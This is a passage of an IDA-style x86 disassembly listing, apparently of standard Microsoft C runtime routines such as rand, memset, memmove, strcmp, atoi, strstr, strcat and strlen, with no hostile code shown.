arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_415DDC
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4135ED
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4135FA
; ---------------------------------------------------------------------------


loc_4135ED:				; CODE XREF: sub_4135AD+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415CC7
		pop	ecx
		pop	ecx


loc_4135FA:				; CODE XREF: sub_4135AD+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4135AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4135FF	proc near		; CODE XREF: start+2Ep
					; seg000:00401C1Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_42D0A0, eax
		retn
sub_4135FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_413609	proc near		; CODE XREF: seg000:0040117Dp
					; seg000:004011F1p ...
		mov	eax, ds:dword_42D0A0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_42D0A0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_413609	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413630	proc near		; CODE XREF: seg000:00401333p
					; sub_4018CA+85p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_413683
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_413677
		neg	ecx
		and	ecx, 3
		jz	short loc_413659
		sub	edx, ecx


loc_413653:				; CODE XREF: sub_413630+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_413653


loc_413659:				; CODE XREF: sub_413630+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_413677
		rep stosd
		test	edx, edx
		jz	short loc_41367D


loc_413677:				; CODE XREF: sub_413630+18j
					; sub_413630+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_413677


loc_41367D:				; CODE XREF: sub_413630+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413683:				; CODE XREF: sub_413630+Aj
		mov	eax, [esp+arg_0]
		retn
sub_413630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413690	proc near		; CODE XREF: seg000:004012DFp
					; seg000:004012F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4136B0
		cmp	edi, eax
		jb	loc_413828


loc_4136B0:				; CODE XREF: sub_413690+16j
		test	edi, 3
		jnz	short loc_4136CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4136EC
		rep movsd
		jmp	ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------


loc_4136CC:				; CODE XREF: sub_413690+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4136E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4136EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4136E4:				; CODE XREF: sub_413690+46j
		jmp	dword ptr ds:loc_4137E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4136EC:				; CODE XREF: sub_413690+31j
					; sub_413690+8Ej ...
		jmp	ds:off_41376C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_413700
		dd offset loc_41372C
		dd offset loc_413750
; ---------------------------------------------------------------------------


loc_413700:				; DATA XREF: sub_413690+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4136EC
		rep movsd
		jmp	ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41372C:				; DATA XREF: sub_413690+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4136EC
		rep movsd
		jmp	ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413750:				; DATA XREF: sub_413690+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4136EC
		rep movsd
		jmp	ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41376C	dd offset loc_4137CF	; DATA XREF: sub_413690:loc_4136ECr
		dd offset loc_4137BC
		dd offset loc_4137B4
		dd offset loc_4137AC
		dd offset loc_4137A4
		dd offset loc_41379C
		dd offset loc_413794
		dd offset loc_41378C
; ---------------------------------------------------------------------------


loc_41378C:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_413794:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41379C:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4137A4:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4137AC:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4137B4:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4137BC:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4137CF:				; CODE XREF: sub_413690:loc_4136ECj
					; DATA XREF: sub_413690:off_41376Co
		jmp	ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4137D8	dd offset loc_4137E8	; DATA XREF: sub_413690+35r
					; sub_413690+92r ...
		dd offset loc_4137F0
		dd offset loc_4137FC
		dd offset loc_413810
; ---------------------------------------------------------------------------


loc_4137E8:				; CODE XREF: sub_413690+35j
					; sub_413690+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4137F0:				; CODE XREF: sub_413690+35j
					; sub_413690+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4137FC:				; CODE XREF: sub_413690+35j
					; sub_413690+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_413810:				; CODE XREF: sub_413690+35j
					; sub_413690+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413828:				; CODE XREF: sub_413690+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41385C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_413850
		std
		rep movsd
		cld
		jmp	ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413850:				; CODE XREF: sub_413690+1B1j
					; sub_413690+208j ...
		neg	ecx
		jmp	dword ptr ds:loc_413920[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41385C:				; CODE XREF: sub_413690+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_413874
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_413874+4[eax*4]
; ---------------------------------------------------------------------------


loc_413874:				; CODE XREF: sub_413690+1D6j
					; DATA XREF: sub_413690+1DDr
		jmp	ds:off_413970[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[eax], bh
		inc	ecx
		add	[eax-2FFFBEC8h], ch
		cmp	[ecx+0], al
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_413850
		std
		rep movsd
		cld
		jmp	ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_413850
		std
		rep movsd
		cld
		jmp	ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_413850
		std
		rep movsd
		cld
		jmp	ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_413924
		dd offset loc_41392C
		dd offset loc_413934
		dd offset loc_41393C
		dd offset loc_413944
		dd offset loc_41394C
; ---------------------------------------------------------------------------
		push	esp
		cmp	[ecx+0], eax


loc_413920:				; DATA XREF: sub_413690+1C2r
		cmp	[bx+di+0], eax


loc_413924:				; DATA XREF: sub_413690+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41392C:				; DATA XREF: sub_413690+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_413934:				; DATA XREF: sub_413690+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41393C:				; DATA XREF: sub_413690+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_413944:				; DATA XREF: sub_413690+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41394C:				; DATA XREF: sub_413690+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_413967:				; CODE XREF: sub_413690+1C2j
		jmp	ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_413970	dd offset loc_413980	; DATA XREF: sub_413690+1B7r
					; sub_413690:loc_413874r ...
		dd offset loc_413988
		dd offset loc_413998
		dd offset loc_4139AC
; ---------------------------------------------------------------------------


loc_413980:				; CODE XREF: sub_413690+1B7j
					; sub_413690:loc_413874j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413988:				; CODE XREF: sub_413690+1B7j
					; sub_413690:loc_413874j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413998:				; CODE XREF: sub_413690+1B7j
					; sub_413690:loc_413874j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4139AC:				; CODE XREF: sub_413690+1B7j
					; sub_413690:loc_413874j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_413690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4139D0	proc near		; CODE XREF: seg000:004011AEp
					; seg000:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_413A1C


loc_4139E0:				; CODE XREF: sub_4139D0+3Cj
					; sub_4139D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_413A14
		or	al, al
		jz	short loc_413A10
		cmp	ah, [ecx+1]
		jnz	short loc_413A14
		or	ah, ah
		jz	short loc_413A10
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_413A14
		or	al, al
		jz	short loc_413A10
		cmp	ah, [ecx+3]
		jnz	short loc_413A14
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4139E0
		mov	edi, edi


loc_413A10:				; CODE XREF: sub_4139D0+18j
					; sub_4139D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413A14:				; CODE XREF: sub_4139D0+14j
					; sub_4139D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413A1C:				; CODE XREF: sub_4139D0+Ej
		test	edx, 1
		jz	short loc_413A38
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_413A14
		inc	ecx
		or	al, al
		jz	short loc_413A10
		test	edx, 2
		jz	short loc_4139E0


loc_413A38:				; CODE XREF: sub_4139D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_413A14
		or	al, al
		jz	short loc_413A10
		cmp	ah, [ecx+1]
		jnz	short loc_413A14
		or	ah, ah
		jz	short loc_413A10
		add	ecx, 2
		jmp	short loc_4139E0
sub_4139D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413A60	proc near		; CODE XREF: seg000:00401250p
					; sub_418DCD+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_413A79
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_413A79:				; CODE XREF: sub_413A60+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_413A60	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A94	proc near		; CODE XREF: sub_413B1F+4p
					; sub_41C1F2+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_413A9C:				; CODE XREF: sub_413A94+34j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_413AB4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_413AC3
; ---------------------------------------------------------------------------


loc_413AB4:				; CODE XREF: sub_413A94+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_42D0F0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_413AC3:				; CODE XREF: sub_413A94+1Ej
		test	eax, eax
		jz	short loc_413ACA
		inc	edi
		jmp	short loc_413A9C
; ---------------------------------------------------------------------------


loc_413ACA:				; CODE XREF: sub_413A94+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_413ADA
		cmp	esi, 2Bh
		jnz	short loc_413ADE


loc_413ADA:				; CODE XREF: sub_413A94+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_413ADE:				; CODE XREF: sub_413A94+44j
		xor	ebx, ebx


loc_413AE0:				; CODE XREF: sub_413A94+7Bj
		cmp	ds:dword_42D2FC, 1
		jle	short loc_413AF5
		push	4
		push	esi
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_413B00
; ---------------------------------------------------------------------------


loc_413AF5:				; CODE XREF: sub_413A94+53j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_413B00:				; CODE XREF: sub_413A94+5Fj
		test	eax, eax
		jz	short loc_413B11
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_413AE0
; ---------------------------------------------------------------------------


loc_413B11:				; CODE XREF: sub_413A94+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_413B1A
		neg	eax


loc_413B1A:				; CODE XREF: sub_413A94+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413A94	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B1F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_413A94
		pop	ecx
		retn
sub_413B1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B2A	proc near		; CODE XREF: seg000:00402036p
					; seg000:004021D3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_415DDC
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_413B69
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_413B76
; ---------------------------------------------------------------------------


loc_413B69:				; CODE XREF: sub_413B2A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415CC7
		pop	ecx
		pop	ecx


loc_413B76:				; CODE XREF: sub_413B2A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413B2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413B80	proc near		; CODE XREF: seg000:00401EAEp
					; seg000:00401ECEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_413BFA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_413BE7


loc_413B98:				; CODE XREF: sub_413B80+52j
					; sub_413B80+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_413BBA
		test	al, al
		jz	short loc_413BB4


loc_413BA9:				; CODE XREF: sub_413B80+32j
		mov	al, [esi]
		inc	esi


loc_413BAC:				; CODE XREF: sub_413B80+3Fj
		cmp	al, dl
		jz	short loc_413BBA
		test	al, al
		jnz	short loc_413BA9


loc_413BB4:				; CODE XREF: sub_413B80+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413BBA:				; CODE XREF: sub_413B80+23j
					; sub_413B80+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_413BAC
		lea	edi, [esi-1]


loc_413BC4:				; CODE XREF: sub_413B80+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_413BF3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_413B98
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_413BF3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_413BC4
		jmp	short loc_413B98
; ---------------------------------------------------------------------------


loc_413BE7:				; CODE XREF: sub_413B80+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_415116
; ---------------------------------------------------------------------------


loc_413BF3:				; CODE XREF: sub_413B80+49j
					; sub_413B80+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413BFA:				; CODE XREF: sub_413B80+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_413B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C00	proc near		; CODE XREF: seg000:004021AEp
					; sub_403F31+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_413C15
		or	eax, 0FFFFFFFFh
		jmp	short loc_413C4F
; ---------------------------------------------------------------------------


loc_413C15:				; CODE XREF: sub_413C00+Ej
		test	al, 83h
		jz	short loc_413C4D
		push	esi
		call	sub_416774
		push	esi
		mov	edi, eax
		call	sub_41670E
		push	dword ptr [esi+10h]
		call	sub_41665B
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_413C3B
		or	edi, 0FFFFFFFFh
		jmp	short loc_413C4D
; ---------------------------------------------------------------------------


loc_413C3B:				; CODE XREF: sub_413C00+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_413C4D
		push	eax
		call	sub_413ED3
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_413C4D:				; CODE XREF: sub_413C00+17j
					; sub_413C00+39j ...
		mov	eax, edi


loc_413C4F:				; CODE XREF: sub_413C00+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_413C00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C56	proc near		; CODE XREF: seg000:004021A8p
					; seg000:0040DD5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_416846
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415DDC
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4168D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_413C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C88	proc near		; CODE XREF: sub_413CA8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_416A80
		test	eax, eax
		jnz	short loc_413C92
		retn
; ---------------------------------------------------------------------------


loc_413C92:				; CODE XREF: sub_413C88+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416910
		add	esp, 10h
		retn
sub_413C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_413CA8	proc near		; CODE XREF: seg000:0040216Ep
					; sub_403F31+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_413C88
		add	esp, 0Ch
		retn
sub_413CA8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413CC0	proc near		; CODE XREF: sub_403FCB+2BFp
					; sub_407E52+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_413D31
sub_413CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413CD0	proc near		; CODE XREF: seg000:0040215Dp
					; sub_4021FB+2ABp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_413CEC


loc_413CDD:				; CODE XREF: sub_413CD0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_413D1F
		test	ecx, 3
		jnz	short loc_413CDD


loc_413CEC:				; CODE XREF: sub_413CD0+Bj
					; sub_413CD0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_413CEC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_413D2E
		test	ah, ah
		jz	short loc_413D29
		test	eax, 0FF0000h
		jz	short loc_413D24
		test	eax, 0FF000000h
		jz	short loc_413D1F
		jmp	short loc_413CEC
; ---------------------------------------------------------------------------


loc_413D1F:				; CODE XREF: sub_413CD0+12j
					; sub_413CD0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_413D31
; ---------------------------------------------------------------------------


loc_413D24:				; CODE XREF: sub_413CD0+44j
		lea	edi, [ecx-2]
		jmp	short loc_413D31
; ---------------------------------------------------------------------------


loc_413D29:				; CODE XREF: sub_413CD0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_413D31
; ---------------------------------------------------------------------------


loc_413D2E:				; CODE XREF: sub_413CD0+39j
		lea	edi, [ecx-4]


loc_413D31:				; CODE XREF: sub_413CC0+5j
					; sub_413CD0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_413D56


loc_413D3D:				; CODE XREF: sub_413CD0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_413DA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_413D3D
		jmp	short loc_413D56
; ---------------------------------------------------------------------------


loc_413D51:				; CODE XREF: sub_413CD0+9Ej
					; sub_413CD0+B8j
		mov	[edi], edx
		add	edi, 4


loc_413D56:				; CODE XREF: sub_413CD0+6Bj
					; sub_413CD0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_413D51
		test	dl, dl
		jz	short loc_413DA8
		test	dh, dh
		jz	short loc_413D9F
		test	edx, 0FF0000h
		jz	short loc_413D92
		test	edx, 0FF000000h
		jz	short loc_413D8A
		jmp	short loc_413D51
; ---------------------------------------------------------------------------


loc_413D8A:				; CODE XREF: sub_413CD0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413D92:				; CODE XREF: sub_413CD0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413D9F:				; CODE XREF: sub_413CD0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413DA8:				; CODE XREF: sub_413CD0+72j
					; sub_413CD0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_413CD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413DB0	proc near		; CODE XREF: sub_4021FB+1A7p
					; sub_4021FB:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_413DD0


loc_413DBC:				; CODE XREF: sub_413DB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_413E03
		test	ecx, 3
		jnz	short loc_413DBC
		add	eax, 0


loc_413DD0:				; CODE XREF: sub_413DB0+Aj
					; sub_413DB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
